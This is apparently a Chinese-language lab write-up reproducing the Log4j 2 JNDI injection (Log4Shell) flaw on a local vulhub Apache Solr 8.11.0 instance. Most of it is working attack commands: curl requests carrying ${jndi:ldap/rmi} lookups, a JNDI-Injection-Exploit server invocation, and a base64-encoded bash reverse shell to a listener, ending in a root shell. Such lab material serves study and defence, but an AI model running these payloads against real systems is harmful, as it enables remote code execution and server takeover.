前言 原理概述 Apache Log4j 2 是Java语言的日志处理套件,在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
JNDI简单介绍 JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
漏洞侦察 漏洞可能存在于应用程序记录数据的任何位置。
这就是这种脆弱性的症结所在。不幸的是,很难确定不同应用程序的攻击面在哪里,因此,哪些应用程序实际上是脆弱的。仅仅看到log4j文件的存在并不能说明确切的版本号,甚至不能说明应用程序可能在何处或如何使用该软件包,只要可能有日志记录的地方都可能存在该漏洞
本地环境复现 概念验证 使用vulnhub启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1日志套件
其中的/admin/cores端点会将请求记录在solr.log中
那么可以进行JDNI注入
攻击机在9999端口开启监听
┌──(mikannse㉿kali)-[~] └─$ nc -lvnp 9999 listening on [any] 9999 ...
对这个端点发起任意参数的请求,传入一个jndi,使用ldap协议使其访问攻击机的9999端口
┌──(mikannse㉿kali)-[~] └─$ curl 'http://192.168.244.129:8983/solr/admin/cores?foo=$\{jndi:ldap://192.168.244.128:9999\}' { "responseHeader":{ "status":0, "QTime":2}, "initFailures":{}, "status":{ "demo":{ "name":"demo", "instanceDir":"/opt/solr/server/solr/demo", "dataDir":"/opt/solr/server/solr/demo/data/", "config":"solrconfig.xml", "schema":"managed-schema", "startTime":"2025-04-23T01:15:32.610Z", "uptime":534528, "index":{ "numDocs":46, "maxDoc":46, "deletedDocs":0, "indexHeapUsageBytes":6116, "version":6, "segmentCount":1, "current":true, "hasDeletions":false, "directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/opt/solr/server/solr/demo/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@383c4f9b; maxCacheMB=48.0 maxMergeSizeMB=4.0)", "segmentsFile":"segments_2", "segmentsFileSizeInBytes":220, "userData":{ "commitCommandVer":"1830154059911266304", "commitTimeMSec":"1745370922004"}, "lastModified":"2025-04-23T01:15:22.004Z", "sizeInBytes":34206, "size":"33.4 KB"}}}}
能够看到攻击机收到了请求
┌──(mikannse㉿kali)-[~] └─$ nc -lvnp 9999 listening on [any] 9999 ... connect to [192.168.244.128] from (UNKNOWN) [192.168.244.129] 34014 0 `�
Exploitation 使用 https://github.com/welk1n/JNDI-Injection-Exploit 可快速搭建携带恶意class文件的ldap和rmi服务器
其中-C参数指定需要执行的命令,这是使用的是
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
其中的”YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx”为
bash -i >& /dev/tcp/192.168.244.128/9999 0>&1 的base64编码形式,作用是进行一个反弹shell到攻击机的监听端口
-A 参数指定的是本机的ip或者域名,用于开启一个恶意服务器,这边采用的是rmi协议
┌──(mikannse㉿kali)-[~/tools/web/java] └─$ java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.244.128 [ADDRESS] >> 192.168.244.128 [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://192.168.244.128:1099/g4ggbg ldap://192.168.244.128:1389/g4ggbg Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://192.168.244.128:1099/2n2nin ldap://192.168.244.128:1389/2n2nin Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://192.168.244.128:1099/lziktn ----------------------------Server Log---------------------------- 2025-04-23 10:08:13 [JETTYSERVER]>> Listening on 0.0.0.0:8180 2025-04-23 10:08:13 [RMISERVER] >> Listening on 0.0.0.0:1099 2025-04-23 10:08:14 [LDAPSERVER] >> Listening on 0.0.0.0:1389
再次请求触发漏洞,使服务器请求我们所带有恶意载荷的服务器
┌──(mikannse㉿kali)-[~] └─$ curl 'http://192.168.244.129:8983/solr/admin/cores?foo=$\{jndi:rmi://192.168.244.128:1099/g4ggbg\}' { "responseHeader":{ "status":0, "QTime":1}, "initFailures":{}, "status":{ "demo":{ "name":"demo", "instanceDir":"/opt/solr/server/solr/demo", "dataDir":"/opt/solr/server/solr/demo/data/", "config":"solrconfig.xml", "schema":"managed-schema", "startTime":"2025-04-23T01:15:32.610Z", "uptime":3228184, "index":{ "numDocs":46, "maxDoc":46, "deletedDocs":0, "indexHeapUsageBytes":6116, "version":6, "segmentCount":1, "current":true, "hasDeletions":false, "directory":"org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/opt/solr/server/solr/demo/data/index lockFactory=org.apache.lucene.store.NativeFSLockFactory@383c4f9b; maxCacheMB=48.0 maxMergeSizeMB=4.0)", "segmentsFile":"segments_2", "segmentsFileSizeInBytes":220, "userData":{ "commitCommandVer":"1830154059911266304", "commitTimeMSec":"1745370922004"}, "lastModified":"2025-04-23T01:15:22.004Z", "sizeInBytes":34206, "size":"33.4 KB"}}}}
攻击机成功收到shell,拿到服务器权限
┌──(mikannse㉿kali)-[~] └─$ nc -lvnp 9999 listening on [any] 9999 ... connect to [192.168.244.128] from (UNKNOWN) [192.168.244.129] 33772 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@cda55e6c1567:/opt/solr/server# whoami whoami root